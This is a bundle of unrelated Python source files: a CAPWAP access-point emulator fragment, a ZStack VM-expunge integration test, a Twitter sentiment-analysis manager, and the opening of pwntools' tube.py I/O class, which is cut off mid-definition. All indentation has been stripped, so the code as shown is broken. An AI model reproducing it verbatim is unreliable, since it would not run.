# First resolve WLC MAC if needed
if self.ap.wlc_ip_bytes and not self.ap.mac_dst_bytes:
RetransmitInterval = self.ap.capwap_RetransmitInterval
for _ in range(self.ap.capwap_MaxRetransmit):
if self.ap.mac_dst_bytes:
break
RetransmitInterval *= 2
arp = self.ap.get_arp_pkt('who-has', src_mac_bytes=self.ap.mac_bytes, src_ip_bytes=self.ap.ip_bytes)
yield ('put', arp)
timer = PassiveTimer(RetransmitInterval)
while not timer.has_expired() and not self.ap.mac_dst_bytes:
yield ('sleep', 0.1)
if self.ap.wlc_ip_bytes and not self.ap.mac_dst_bytes:
yield ('err', 'Unable to resolve MAC address of WLC for %s' % self.ap.ip_dst)
self.ap.rx_responses[2] = -1
RetransmitInterval = self.ap.capwap_RetransmitInterval
for _ in range(self.ap.capwap_MaxRetransmit):
RetransmitInterval *= 2
discovery_pkt = self.ap.wrap_capwap_pkt(CAPWAP_PKTS.discovery(self.ap), is_discovery = True)
yield ('put', discovery_pkt)
timer = PassiveTimer(RetransmitInterval)
while not timer.has_expired():
result_code = self.ap.rx_responses[2]
if result_code in (None, 0, 2):
self.log('Got discovery response from %s' % self.ap.ip_dst)
yield 'done'
if result_code != -1:
self.ap.mac_dst_bytes = None
self.ap.mac_dst = None
yield ('err', 'Not successful result %s - %s.' % (result_code, capwap_result_codes.get(result_code, 'Unknown')))
yield ('sleep', 0.1)
self.ap.mac_dst_bytes = None
self.ap.mac_dst = None
yield 'time'
class ServiceApEstablishDTLS(ServiceAp):
requires_dtls = False
aps_by_ssl = {}
@staticmethod
def openssl_callback(ssl, where, ret):
pipe = ServiceApEstablishDTLS.aps_by_ssl[ssl]['pipe']
ap = ServiceApEstablishDTLS.aps_by_ssl[ssl]['ap']
if libcrypto.BIO_ctrl_pending(ap.out_bio):
ssl_data = ap.ssl_read()
if ssl_data:
pkt = ap.wrap_capwap_pkt(b'\1\0\0\0' + ssl_data)
pipe.async_tx_pkt(PacketBuffer(pkt))
return 0
ssl_info_callback_type = CFUNCTYPE(c_int, c_void_p, c_int, c_int)
ssl_info_callback_func = ssl_info_callback_type(openssl_callback.__func__)
def run(self, pipe):
assert self.ap.ssl and (self.ap.ssl not in self.aps_by_ssl)
#assert not self.ap.is_dtls_established(), 'AP %s has already established DTLS connection!' % self.ap.name
self.aps_by_ssl[self.ap.ssl] = {'ap': self.ap, 'pipe': pipe}
with self.ap.ssl_lock:
libssl.SSL_clear(self.ap.ssl)
libssl.SSL_set_info_callback(self.ap.ssl, self.ssl_info_callback_func) # set ssl callback
libssl.SSL_do_handshake(self.ap.ssl)
try:
timer = PassiveTimer(5)
self.ap.info('Start handshake')
while not timer.has_expired():
if self.ap.is_handshake_done_libssl():
self.ap.is_handshake_done = True
return
if self.ap.is_dtls_closed_libssl():
self.ap.is_dtls_closed = True
self.err('DTLS session got closed for ap %s' % self.ap.name)
return
resps = yield pipe.async_wait_for_pkt(time_sec = 1, limit = 1)
if not resps:
continue
pkt_bytes = resps[0]['pkt']
is_dtls = struct.unpack('?', pkt_bytes[42:43])[0]
if is_dtls:
self.ap.decrypt(pkt_bytes[46:])
self.timeout()
finally:
with self.ap.ssl_lock:
libssl.SSL_set_info_callback(self.ap.ssl, None) # remove ssl callback
if self.ap.ssl in self.aps_by_ssl:
del self.aps_by_ssl[self.ap.ssl]
class ServiceApEncryptedControl(ServiceAp):
def control_round_trip(self, tx_pkt, expected_response_type):
self.ap.rx_responses[expected_response_type] = -1
RetransmitInterval = self.ap.capwap_RetransmitInterval
if isinstance(tx_pkt, Packet) and self.ap.is_debug:
tx_pkt.show2()
for _ in range(self.ap.capwap_MaxRetransmit):
RetransmitInterval *= 2
tx_pkt = self.ap.wrap_capwap_pkt(b'\1\0\0\0' + self.ap.encrypt(tx_pkt))
yield ('put', tx_pkt)
timer = PassiveTimer(RetransmitInterval)
while not timer.has_expired():
result_code = self.ap.rx_responses[expected_response_type]
if result_code in (None, 0, 2):
yield 'good_resp'
if result_code != -1:
yield ('err', 'Not successful result %s - %s.' % (result_code, capwap_result_codes.get(result_code, 'Unknown')))
yield ('sleep', 0.1)
yield 'time'
class ServiceApJoinWLC(ServiceApEncryptedControl):
def run_with_buffer(self):
self.log('Sending Join Request')
ctrl_gen = self.control_round_trip(CAPWAP_PKTS.join(self.ap), 4)
send_data = None
while True:
action = ctrl_gen.send(send_data)
if action == 'good_resp':
ctrl_gen.close()
break
else:
send_data = yield action
self.log('Got Join Response')
self.log('Sending Configuration Status Request')
ctrl_gen = self.control_round_trip(CAPWAP_PKTS.conf_status_req(self.ap), 6)
send_data = None
while True:
action = ctrl_gen.send(send_data)
if action == 'good_resp':
ctrl_gen.close()
break
else:
send_data = yield action
self.log('Got Configuration Status Response')
self.log('Sending Change State Event Request')
ctrl_gen = self.control_round_trip(CAPWAP_PKTS.change_state(self.ap), 12)
send_data = None
while True:
action = ctrl_gen.send(send_data)
if action == 'good_resp':
ctrl_gen.close()
break
else:
send_data = yield action
self.log('Got Change State Event Response')
self.log('Going to ack all config updates and try to get SSID')
while self.ap.last_recv_ts + 5 > time.time(): # ack all config updates in BG thread
if self.ap.SSID:
break
if self.ap.is_dtls_closed:
return
yield ('sleep', 0.1)
if not self.ap.SSID:
yield ('err', 'Did not get SSID from WLC!')
self.log('Sending Keep-alive.')
RetransmitInterval = self.ap.capwap_RetransmitInterval
for _ in range(self.ap.capwap_MaxRetransmit):
RetransmitInterval *= 2
tx_pkt = self.ap.wrap_capwap_pkt(CAPWAP_PKTS.keep_alive(self.ap), dst_port = 5247)
if self.ap.is_debug:
Ether(tx_pkt).show2()
yield ('put', tx_pkt)
timer = PassiveTimer(RetransmitInterval)
while not timer.has_expired():
if self.ap.got_keep_alive:
self.log('Received Keep-alive response.')
self.ap.last_echo_req_ts = time.time()
self.ap.is_connected = True
return
if self.ap.is_dtls_closed:
return
yield ('sleep', 0.1)
yield 'time'
class ServiceApAddClients(ServiceAp):
def __init__(self, ap, clients, verbose_level = Service.WARN):
ServiceAp.__init__(self, ap, verbose_level)
assert type(clients) is list
assert all([hasattr(c, 'mac') and hasattr(c, 'ip') for c in clients]), 'Clients should have attributes mac and ip'
self.clients = clients
def run_with_buffer(self):
if self.ap.get_open_auth_vap() is None:
yield ('err', 'No Open Auth SSID has been received by AP')
return
self.log('Sending Association requests.')
need_assoc_resp_clients = list(self.clients)
for client in need_assoc_resp_clients:
client.reset()
RetransmitInterval = self.ap.capwap_RetransmitInterval
for _ in range(self.ap.capwap_MaxRetransmit):
if not need_assoc_resp_clients:
break
RetransmitInterval *= 2
tx_pkts = []
for client in need_assoc_resp_clients:
tx_pkt = CAPWAP_PKTS.client_assoc(self.ap, vap=self.ap.get_open_auth_vap(), client_mac = client.mac_bytes)
tx_pkts.append(self.ap.wrap_capwap_pkt(tx_pkt, dst_port = 5247))
yield ('put', tx_pkts)
timer = PassiveTimer(RetransmitInterval)
while not timer.has_expired() and need_assoc_resp_clients:
yield ('sleep', 0.1)
for client in list(need_assoc_resp_clients):
if client.got_disconnect or client.is_associated:
need_assoc_resp_clients.remove(client)
not_assoc = [client.ip for client in self.clients if not client.is_associated]
if not_assoc:
yield ('err', 'No Association response for clients: %s' % ', '.join(sorted(not_assoc, key = natural_sorted_key)))
need_arp_resp_clients = list(self.clients)
RetransmitInterval = self.ap.capwap_RetransmitInterval
for _ in range(self.ap.capwap_MaxRetransmit):
if not need_arp_resp_clients:
return
RetransmitInterval *= 2
tx_pkts = []
for client in need_arp_resp_clients:
garp = self.ap.get_arp_pkt('garp', src_mac_bytes=client.mac_bytes, src_ip_bytes=client.ip_bytes)
tx_pkts.append(self.ap.wrap_pkt_by_wlan(client, garp))
arp = self.ap.get_arp_pkt('who-has', src_mac_bytes=client.mac_bytes, src_ip_bytes=client.ip_bytes)
tx_pkts.append(self.ap.wrap_pkt_by_wlan(client, arp))
yield ('put', tx_pkts)
timer = PassiveTimer(RetransmitInterval)
while not timer.has_expired() and need_arp_resp_clients:
yield ('sleep', 0.1)
for client in list(need_arp_resp_clients):
if client.got_disconnect or client.seen_arp_reply:
need_arp_resp_clients.remove(client)
class ServiceApShutdownDTLS(ServiceAp):
def run(self, pipe):
for client in self.ap.clients:
client.disconnect()
if not self.ap.is_dtls_established:
return
with self.ap.ssl_lock:
libssl.SSL_shutdown(self.ap.ssl)
tx_pkt = self.ap.wrap_capwap_pkt(b'\1\0\0\0' + self.ap.ssl_read())
self.ap.reset_vars()
yield pipe.async_tx_pkt(PacketBuffer(tx_pkt))
|
test_concur_expunge_ha_vms.py | '''
New Integration Test for concurrent expunge vm on ceph
@author: SyZhao
'''
import apibinding.inventory as inventory
import zstackwoodpecker.test_util as test_util
import zstackwoodpecker.test_state as test_state
import zstackwoodpecker.test_lib as test_lib
import zstackwoodpecker.operations.resource_operations as res_ops
import zstackwoodpecker.zstack_test.zstack_test_vm as test_vm_header
import zstackwoodpecker.operations.vm_operations as vm_ops
import zstackwoodpecker.operations.ha_operations as ha_ops
import time
import os
import threading
import random
vm = None
vms = []
ts = []
vm_num = 20
exec_info = []
delay_policy1 = None
test_obj_dict = test_state.TestStateDict()
def create_vm_wrapper(i, vm_creation_option):
global vms, exec_info
try:
vm = test_vm_header.ZstackTestVm()
vm_creation_option.set_name("vm-%s" %(i))
vm.set_creation_option(vm_creation_option)
vm.create()
ha_ops.set_vm_instance_ha_level(vm.get_vm().uuid, "NeverStop")
vms.append(vm)
except:
exec_info.append("vm-%s" %(i))
def destroy_vm_wrapper(i, vm_uuid):
global exec_info
try:
vm_ops.destroy_vm(vm_uuid)
except:
exec_info.append("vm-%s" %(i))
def expunge_vm_wrapper(i, vm_uuid):
global vms, exec_info
try:
vm_ops.expunge_vm(vm_uuid)
except:
exec_info.append("vm-%s" %(i))
def check_exception(ops_string):
global exec_info
if exec_info:
issue_vms_string = ' '.join(exec_info)
test_util.test_fail("%s is failed to be %s." %(issue_vms_string, ops_string))
def test():
global vms, exec_info, delete_policy1
ps = res_ops.query_resource(res_ops.PRIMARY_STORAGE)[0]
if ps.type != inventory.CEPH_PRIMARY_STORAGE_TYPE:
test_util.test_skip('this test is for moniter expunge vm on ceph, not found ceph, skip test.')
delete_policy1 = test_lib.lib_set_delete_policy('vm', 'Delay')
image_name = os.environ.get('imageName_s')
image_uuid = test_lib.lib_get_image_by_name(image_name).uuid
l3_name = os.environ.get('l3NoVlanNetworkName1')
l3_net_uuid = test_lib.lib_get_l3_by_name(l3_name).uuid
cpuNum = 1
memorySize = 268435456
name = 'vm-offering-allocator-strategy'
new_offering_option = test_util.InstanceOfferingOption()
new_offering_option.set_cpuNum(cpuNum)
new_offering_option.set_memorySize(memorySize)
new_offering_option.set_name(name)
new_offering = vm_ops.create_instance_offering(new_offering_option)
test_obj_dict.add_instance_offering(new_offering)
instance_offering_uuid = new_offering.uuid
each_vm_cpu_consume = cpuNum
vm_creation_option = test_util.VmOption()
vm_creation_option.set_l3_uuids([l3_net_uuid])
vm_creation_option.set_image_uuid(image_uuid)
vm_creation_option.set_instance_offering_uuid(instance_offering_uuid)
#trigger vm create
exec_info = []
ts = []
for i in range(vm_num):
t = threading.Thread(target=create_vm_wrapper, args=(i, vm_creation_option))
ts.append(t)
t.start()
for t in ts:
t.join()
check_exception("created")
#trigger vm destroy
exec_info = []
ts = []
for i,vm in zip(range(vm_num),vms):
t = threading.Thread(target=destroy_vm_wrapper, args=(i, vm.vm.uuid))
ts.append(t)
t.start()
for t in ts:
t.join()
check_exception("destroyed")
#trigger vm expunge
exec_info = []
ts = []
for i,vm in zip(range(vm_num),vms):
t = threading.Thread(target=expunge_vm_wrapper, args=(i, vm.vm.uuid))
ts.append(t)
t.start()
for t in ts:
t.join()
check_exception("expunged")
test_lib.lib_set_delete_policy('vm', delete_policy1)
test_util.test_pass('Create VM Test Success')
def error_cleanup():
global vms
global test_obj_dict
test_lib.lib_error_cleanup(test_obj_dict)
def env_recover():
global delete_policy1
test_lib.lib_set_delete_policy('vm', delete_policy1)
|
manager.py | from twython import Twython, TwythonAuthError
from app.alchemyapi import AlchemyAPI
from app.models import Tweet
from datetime import datetime
import config
def save_tweets(tweets, search_term, location_search_term=None):
"""
Saves given tweet data in MongoDB database.
:param tweets: Tweet data
:param search_term: Search term entered by user
:param location_search_term: Location search term entered by user (optional)
"""
try:
if location_search_term:
# Cycle through list of Tweets
for status in tweets:
tweet_id = status['tweet_id']
# Check if tweet already exists in db, skip this iteration if it does
id_query = len(Tweet.objects(tweet_id=tweet_id))
if id_query >= 1:
continue
# Define record to save to db
record = Tweet(
tweet_id=status['tweet_id'],
tweet_time=status['created_at'],
tweet_text=status['text'],
tweet_user=status['user'],
tweet_user_fullname=status['user_fullname'],
profile_image_url=status['profile_image_url'],
sentiment_type=status['sentiment'],
sentiment_score=status['sentimentScore'],
location_geo=status['location_geo'],
location_address=status['location_address'],
keyword_search_term=search_term,
location_search_term=location_search_term
)
# Save to DB
record.save()
else:
# Cycle through list of processed Tweets
for status in tweets:
tweet_id = status['tweet_id']
# Check if tweet already exists in db, skip this iteration if it does
id_query = len(Tweet.objects(tweet_id=tweet_id))
if id_query >= 1:
continue
# Define record to save to db
record = Tweet(
tweet_id=status['tweet_id'],
tweet_time=status['created_at'],
tweet_text=status['text'],
tweet_user=status['user'],
tweet_user_fullname=status['user_fullname'],
profile_image_url=status['profile_image_url'],
sentiment_type=status['sentiment'],
sentiment_score=status['sentimentScore'],
keyword_search_term=search_term
)
# Save to DB
record.save()
except Exception:
raise Exception("Database error")
def twitter_auth():
"""
Imports Twitter API credentials from config file and performs OAuth2 using app credentials from config.py
:return: Authorized instance of Twython
"""
# Pulling Twitter API credentials from config.py
key = config.TWITTER_CONSUMER_KEY
key_secret = config.TWITTER_CONSUMER_SECRET
token = config.TWITTER_ACCESS_TOKEN
token_secret = config.TWITTER_ACCESS_TOKEN_SECRET
# Attempting OAuth connection to Twitter using Twython with API credentials
try:
twitter = Twython(key, key_secret, token, token_secret)
except TwythonAuthError:
raise Exception("Twython auth error")
return twitter
def get_geo_info(place_name):
"""
Gets coordinates and address for a given place name using geopy.
:param place_name: Name of place to search for, eg "San Francisco"
:return: Location object with latitude, longitude and name attributes
"""
from geopy.geocoders import Nominatim
# Create geo_locator object instance
geo_locator = Nominatim()
# Attempt to obtain geo data for given place name
try:
location = geo_locator.geocode(place_name)
except Exception:
raise Exception("Location error")
if not location:
raise Exception("Location error")
return location
def search_keyword(keyword, count, location=None):
"""
Performs a Twitter search for a given keyword.
Will restrict keyword search to within 10 miles radius of given location (if provided).
:param keyword: Keyword to search
:param location: Location object from geopy to restrict results to (optional)
:param count: Number of Tweets to search for
:return: List of dictionaries containing parsed Tweet data from search
"""
# Perform OAuth connection to Twitter, creates instance of Twython
twitter = twitter_auth()
is_location_search = False
in_db = False
# List to store our data
tweets = []
# Attempt to query Twitter REST API using Twython
try:
if location is None:
search_result = twitter.search(q=keyword, lang="en", count=count)
else:
is_location_search = True
search_result = twitter.search(q=keyword, lang="en", geocode="%s,%s,10mi" % (location.latitude, location.longitude), count=count)
except Exception:
raise Exception("No Twitter results returned")
# Cycle through results and parse the data we want, save as dictionary and store in 'tweets' list
for status in search_result['statuses']:
tweet_id = status['id']
# Check if Tweet is already in DB
id_query = len(Tweet.objects(tweet_id=tweet_id))
if id_query >= 1:
in_db = True
continue
tweet = {}
tweet['tweet_id'] = tweet_id
tweet['text'] = status['text'].strip()
tm = status['created_at']
tm = datetime.strptime(tm, '%a %b %d %H:%M:%S +0000 %Y')
tweet['created_at'] = tm
tweet['user'] = status['user']['screen_name'].strip()
tweet['user_fullname'] = status['user']['name']
tweet['profile_image_url'] = status['user']['profile_image_url']
if is_location_search:
tweet['location_geo'] = {"latitude": location.latitude, "longitude": location.longitude}
tweet['location_address'] = location.address
# Append parsed tweet data dictionary to results list
tweets.append(tweet)
# If no search results returned and data is not in our database, raise exception
if not tweets and not in_db:
raise Exception("No Twitter results returned")
return tweets
def search_user(screen_name, count):
"""
Performs a Twitter search for a given username.
:param screen_name: Username of Twitter user to search for
:param count: Number of the user's Tweets to return
:return: List of dictionaries containing parsed Tweet data from search
"""
# Perform OAuth connection to Twitter, creates instance of Twython
twitter = twitter_auth()
in_db = False
# List to store our results
tweets = []
# Attempt to query Twitter REST API using Twython
try:
search_result = twitter.get_user_timeline(screen_name=screen_name, count=count)
except Exception:
raise Exception("No Twitter results returned")
if search_result[0]['user']['lang'] != "en":
# If not English, we can't perform sentiment analysis (limitation of AlchemyAPI)
raise Exception("Not an English language user")
# Cycle through results and parse the data we want, save as dictionary and store in 'tweets' list
for status in search_result:
tweet_id = status['id']
# Check if Tweet is already in DB
id_query = len(Tweet.objects(tweet_id=tweet_id))
if id_query >= 1:
in_db = True
continue
tweet = {}
tweet['tweet_id'] = tweet_id
tweet['text'] = status['text'].strip()
tm = status['created_at']
tm = datetime.strptime(tm, '%a %b %d %H:%M:%S +0000 %Y')
tweet['created_at'] = tm
tweet['user'] = screen_name[1:]
tweet['user_fullname'] = status['user']['name']
tweet['profile_image_url'] = status['user']['profile_image_url']
# Add parsed tweet data dictionary to results list
tweets.append(tweet)
# If no search results returned and data is not in our database, raise exception
if not tweets and not in_db:
raise Exception("No Twitter results returned")
return tweets
def analysis_worker(in_queue, out_queue):
"""
Performs sentiment analysis on Tweet data using AlchemyAPI.
:param in_queue: Shared input queue of Tweet data to analyze
:param out_queue: Shared output queue of Tweet data to analyze
"""
# Attempt to create new AlchemyAPI instance
try:
alchemy = AlchemyAPI()
except:
raise Exception("AlchemyAPI auth error")
while not in_queue.empty():
# Get Tweet from the queue
tweet = in_queue.get()
tweet['sentiment'] = {}
# Attempt to call AlchemyAPI to perform document level sentiment of the Tweet text
try:
sentiment = alchemy.sentiment("text", tweet['text'], {"showSourceText": 1})
except:
raise Exception("AlchemyAPI error")
# Add sentiment data (score + sentiment type) to Tweet dictionary
try:
tweet['sentiment'] = sentiment['docSentiment']['type']
if tweet['sentiment'] != 'neutral':
tweet['sentimentScore'] = float("{0:.2f}".format((float(sentiment['docSentiment']['score'])*100)))
else:
tweet['sentimentScore'] = 0
except KeyError:
tweet['sentiment'] = "neutral"
tweet['sentimentScore'] = 0
except:
raise Exception("Classification error")
# Signal task has been complete
in_queue.task_done()
# Add analyzed Tweet to output queue
out_queue.put(tweet)
def analysis_supervisor(tweets, search_term, location_search_term=None):
"""
Spawns and manages threads (concurrency limit defined in config.py) to perform analysis of gathered Tweet data.
Passes Tweet data (with newly added analysis info) to 'save_tweets' function to save to database.
:param tweets: Parsed tweet data to analyze
:param search_term: Term associated with this search
"""
import queue
import threading
# Set concurrent thread limit
limit = config.ALCHEMY_THREAD_LIMIT
# Create queues
in_queue = queue.Queue()
out_queue = queue.Queue()
# List to store threads
threads = []
# Add Tweets to queue
for tweet in tweets:
in_queue.put(tweet)
# Get size of full queue
in_size = in_queue.qsize()
# Spawn threads up to concurrency limit
for i in range(limit):
# Set target for thread
t = threading.Thread(target=analysis_worker, args=(in_queue, out_queue))
# Set as daemon
t.daemon = True
# Append to threads list
threads.append(t)
# Put thread to work
t.start()
# Wait for threads to finish
in_queue.join()
while True:
# Check if all Tweets have been processed
if in_size == out_queue.qsize():
break
# List to store our analyzed Tweet data
output = []
# Add processed results to list
while not out_queue.empty():
output.append(out_queue.get())
# Pass processed Tweets list to 'save_tweets' function to save to database
save_tweets(output, search_term, location_search_term)
|
tube.py | # -*- coding: utf-8 -*-
from __future__ import absolute_import
import logging
import re
import string
import subprocess
import sys
import threading
import time
from pwnlib import atexit
from pwnlib import term
from pwnlib.context import context
from pwnlib.log import Logger
from pwnlib.timeout import Timeout
from pwnlib.tubes.buffer import Buffer
from pwnlib.util import fiddling
from pwnlib.util import misc
from pwnlib.util import packing
class tube(Timeout, Logger):
"""
Container of all the tube functions common to sockets, TTYs and SSH connetions.
"""
default = Timeout.default
forever = Timeout.forever
#: Delimiter to use for :meth:`sendline`, :meth:`recvline`,
#: and related functions.
newline = '\n'
def __init__(self, timeout = default, level = None, *a, **kw):
super(tube, self).__init__(timeout)
Logger.__init__(self, None)
if level is not None:
self.setLevel(level)
self.buffer = Buffer(*a, **kw)
atexit.register(self.close)
# Functions based on functions from subclasses
def recv(self, numb = None, timeout = default):
r"""recv(numb = 4096, timeout = default) -> str
Receives up to `numb` bytes of data from the tube, and returns
as soon as any quantity of data is available.
If the request is not satisfied before ``timeout`` seconds pass,
all data is buffered and an empty string (``''``) is returned.
Raises:
exceptions.EOFError: The connection is closed
Returns:
A string containing bytes received from the socket,
or ``''`` if a timeout occurred while waiting.
Examples:
>>> t = tube()
>>> # Fake a data source
>>> t.recv_raw = lambda n: 'Hello, world'
>>> t.recv() == 'Hello, world'
True
>>> t.unrecv('Woohoo')
>>> t.recv() == 'Woohoo'
True
>>> with context.local(log_level='debug'):
... _ = t.recv() # doctest: +ELLIPSIS
[...] Received 0xc bytes:
'Hello, world'
"""
numb = self.buffer.get_fill_size(numb)
return self._recv(numb, timeout) or ''
def unrecv(self, data):
"""unrecv(data)
Puts the specified data back at the beginning of the receive
buffer.
Examples:
>>> t = tube()
>>> t.recv_raw = lambda n: 'hello'
>>> t.recv()
'hello'
>>> t.recv()
'hello'
>>> t.unrecv('world')
>>> t.recv()
'world'
>>> t.recv()
'hello'
"""
self.buffer.unget(data)
def _fillbuffer(self, timeout = default):
"""_fillbuffer(timeout = default)
Fills the internal buffer from the pipe, by calling
:meth:`recv_raw` exactly once.
Returns:
The bytes of data received, or ``''`` if no data was received.
Examples:
>>> t = tube()
>>> t.recv_raw = lambda *a: 'abc'
>>> len(t.buffer)
0
>>> t._fillbuffer()
'abc'
>>> len(t.buffer)
3
"""
data = ''
with self.local(timeout):
data = self.recv_raw(self.buffer.get_fill_size())
if data and self.isEnabledFor(logging.DEBUG):
self.debug('Received %#x bytes:' % len(data))
if len(set(data)) == 1 and len(data) > 1:
self.indented('%r * %#x' % (data[0], len(data)), level = logging.DEBUG)
elif all(c in string.printable for c in data):
for line in data.splitlines(True):
self.indented(repr(line), level = logging.DEBUG)
else:
self.indented(fiddling.hexdump(data), level = logging.DEBUG)
if data:
self.buffer.add(data)
return data
def _recv(self, numb = None, timeout = default):
"""_recv(numb = 4096, timeout = default) -> str
Receives one chunk of from the internal buffer or from the OS if the
buffer is empty.
"""
numb = self.buffer.get_fill_size(numb)
data = ''
# No buffered data, could not put anything in the buffer
# before timeout.
if not self.buffer and not self._fillbuffer(timeout):
return ''
return self.buffer.get(numb)
def recvpred(self, pred, timeout = default):
"""recvpred(pred, timeout = default) -> str
Receives one byte at a time from the tube, until ``pred(bytes)``
evaluates to True.
If the request is not satisfied before ``timeout`` seconds pass,
all data is buffered and an empty string (``''``) is returned.
Arguments:
pred(callable): Function to call, with the currently-accumulated data.
timeout(int): Timeout for the operation
Raises:
exceptions.EOFError: The connection is closed
Returns:
A string containing bytes received from the socket,
or ``''`` if a timeout occurred while waiting.
"""
data = ''
with self.countdown(timeout):
while not pred(data):
try:
res = self.recv(1)
except Exception:
self.unrecv(data)
return ''
if res:
data += res
else:
self.unrecv(data)
return ''
return data
def recvn(self, numb, timeout = default):
"""recvn(numb, timeout = default) -> str
Receives exactly `n` bytes.
If the request is not satisfied before ``timeout`` seconds pass,
all data is buffered and an empty string (``''``) is returned.
Raises:
exceptions.EOFError: The connection closed before the request could be satisfied
Returns:
A string containing bytes received from the socket,
or ``''`` if a timeout occurred while waiting.
Examples:
>>> t = tube()
>>> data = 'hello world'
>>> t.recv_raw = lambda *a: data
>>> t.recvn(len(data)) == data
True
>>> t.recvn(len(data)+1) == data + data[0]
True
>>> t.recv_raw = lambda *a: None
>>> # The remaining data is buffered
>>> t.recv() == data[1:]
True
>>> t.recv_raw = lambda *a: time.sleep(0.01) or 'a'
>>> t.recvn(10, timeout=0.05)
''
>>> t.recvn(10, timeout=0.06) # doctest: +ELLIPSIS
'aaaaaa...'
"""
# Keep track of how much data has been received
# It will be pasted together at the end if a
# timeout does not occur, or put into the tube buffer.
with self.countdown(timeout):
while self.countdown_active() and len(self.buffer) < numb and self._fillbuffer(self.timeout):
pass
if len(self.buffer) < numb:
return ''
return self.buffer.get(numb)
def recvuntil(self, delims, drop=False, timeout = default):
"""recvuntil(delims, timeout = default) -> str
Receive data until one of `delims` is encountered.
If the request is not satisfied before ``timeout`` seconds pass,
all data is buffered and an empty string (``''``) is returned.
arguments:
delims(str,tuple): String of delimiters characters, or list of delimiter strings.
drop(bool): Drop the ending. If :const:`True` it is removed from the end of the return value.
Raises:
exceptions.EOFError: The connection closed before the request could be satisfied
Returns:
A string containing bytes received from the socket,
or ``''`` if a timeout occurred while waiting.
Examples:
>>> t = tube()
>>> t.recv_raw = lambda n: "Hello World!"
>>> t.recvuntil(' ')
'Hello '
>>> _=t.clean(0)
>>> # Matches on 'o' in 'Hello'
>>> t.recvuntil(tuple(' Wor'))
'Hello'
>>> _=t.clean(0)
>>> # Matches expressly full string
>>> t.recvuntil(' Wor')
'Hello Wor'
>>> _=t.clean(0)
>>> # Matches on full string, drops match
>>> t.recvuntil(' Wor', drop=True)
'Hello'
>>> # Try with regex special characters
>>> t = tube()
>>> t.recv_raw = lambda n: "Hello|World"
>>> t.recvuntil('|', drop=True)
'Hello'
"""
# Convert string into singleton tupple
if isinstance(delims, (str, unicode)):
delims = (delims,)
# Longest delimiter for tracking purposes
longest = max(map(len, delims))
# Cumulative data to search
data = []
top = ''
with self.countdown(timeout):
while self.countdown_active():
try:
res = self.recv(timeout=self.timeout)
except Exception:
self.unrecv(''.join(data) + top)
raise
if not res:
self.unrecv(''.join(data) + top)
return ''
top += res
start = len(top)
for d in delims:
j = top.find(d)
if start > j > -1:
start = j
end = j + len(d)
if start < len(top):
self.unrecv(top[end:])
if drop:
top = top[:start]
else:
top = top[:end]
return ''.join(data) + top
if len(top) > longest:
i = -longest - 1
data.append(top[:i])
top = top[i:]
return ''
def recvlines(self, numlines=2**20, keepends = False, timeout = default):
r"""recvlines(numlines, keepends = False, timeout = default) -> str list
Receive up to ``numlines`` lines.
A "line" is any sequence of bytes terminated by the byte sequence
set by :attr:`newline`, which defaults to ``'\n'``.
If the request is not satisfied before ``timeout`` seconds pass,
all data is buffered and an empty string (``''``) is returned.
Arguments:
numlines(int): Maximum number of lines to receive
keepends(bool): Keep newlines at the end of each line (:const:`False`).
timeout(int): Maximum timeout
Raises:
exceptions.EOFError: The connection closed before the request could be satisfied
Returns:
A string containing bytes received from the socket,
or ``''`` if a timeout occurred while waiting.
Examples:
>>> t = tube()
>>> t.recv_raw = lambda n: '\n'
>>> t.recvlines(3)
['', '', '']
>>> t.recv_raw = lambda n: 'Foo\nBar\nBaz\n'
>>> t.recvlines(3)
['Foo', 'Bar', 'Baz']
>>> t.recvlines(3, True)
['Foo\n', 'Bar\n', 'Baz\n']
"""
lines = []
with self.countdown(timeout):
for _ in xrange(numlines):
try:
# We must set 'keepends' to True here so that we can
# restore the original, unmodified data to the buffer
# in the event of a timeout.
res = self.recvline(keepends=True, timeout=timeout)
except Exception:
self.unrecv(''.join(lines))
raise
if res:
lines.append(res)
else:
break
if not keepends:
lines = [line.rstrip(self.newline) for line in lines]
return lines
def recvline(self, keepends = True, timeout = default):
r"""recvline(keepends = True) -> str
Receive a single line from the tube.
A "line" is any sequence of bytes terminated by the byte sequence
set in :attr:`newline`, which defaults to ``'\n'``.
If the request is not satisfied before ``timeout`` seconds pass,
all data is buffered and an empty string (``''``) is returned.
Arguments:
keepends(bool): Keep the line ending (:const:`True`).
timeout(int): Timeout
Return:
All bytes received over the tube until the first
newline ``'\n'`` is received. Optionally retains
the ending.
Examples:
>>> t = tube()
>>> t.recv_raw = lambda n: 'Foo\nBar\r\nBaz\n'
>>> t.recvline()
'Foo\n'
>>> t.recvline()
'Bar\r\n'
>>> t.recvline(keepends = False)
'Baz'
>>> t.newline = '\r\n'
>>> t.recvline(keepends = False)
'Foo\nBar'
"""
return self.recvuntil(self.newline, drop = not keepends, timeout = timeout)
def recvline_pred(self, pred, keepends = False, timeout = default):
r"""recvline_pred(pred, keepends = False) -> str
Receive data until ``pred(line)`` returns a truthy value.
Drop all other data.
If the request is not satisfied before ``timeout`` seconds pass,
all data is buffered and an empty string (``''``) is returned.
Arguments:
pred(callable): Function to call. Returns the line for which
this function returns :const:`True`.
Examples:
>>> t = tube()
>>> t.recv_raw = lambda n: "Foo\nBar\nBaz\n"
>>> t.recvline_pred(lambda line: line == "Bar\n")
'Bar'
>>> t.recvline_pred(lambda line: line == "Bar\n", keepends=True)
'Bar\n'
>>> t.recvline_pred(lambda line: line == 'Nope!', timeout=0.1)
''
"""
tmpbuf = Buffer()
line = ''
with self.countdown(timeout):
while self.countdown_active():
try:
line = self.recvline(keepends=True)
except Exception:
self.buffer.add(tmpbuf)
raise
if not line:
self.buffer.add(tmpbuf)
return ''
if pred(line):
if not keepends:
line = line[:-len(self.newline)]
return line
else:
tmpbuf.add(line)
return ''
def recvline_contains(self, items, keepends = False, timeout = default):
r"""
Receive lines until one line is found which contains at least
one of `items`.
Arguments:
items(str,tuple): List of strings to search for, or a single string.
keepends(bool): Return lines with newlines if :const:`True`
timeout(int): Timeout, in seconds
Examples:
>>> t = tube()
>>> t.recv_raw = lambda n: "Hello\nWorld\nXylophone\n"
>>> t.recvline_contains('r')
'World'
>>> f = lambda n: "cat dog bird\napple pear orange\nbicycle car train\n"
>>> t = tube()
>>> t.recv_raw = f
>>> t.recvline_contains('pear')
'apple pear orange'
>>> t = tube()
>>> t.recv_raw = f
>>> t.recvline_contains(('car', 'train'))
'bicycle car train'
"""
if isinstance(items, (str,unicode)):
items = (items,)
def pred(line):
return any(d in line for d in items)
return self.recvline_pred(pred, keepends, timeout)
def recvline_startswith(self, delims, keepends = False, timeout = default):
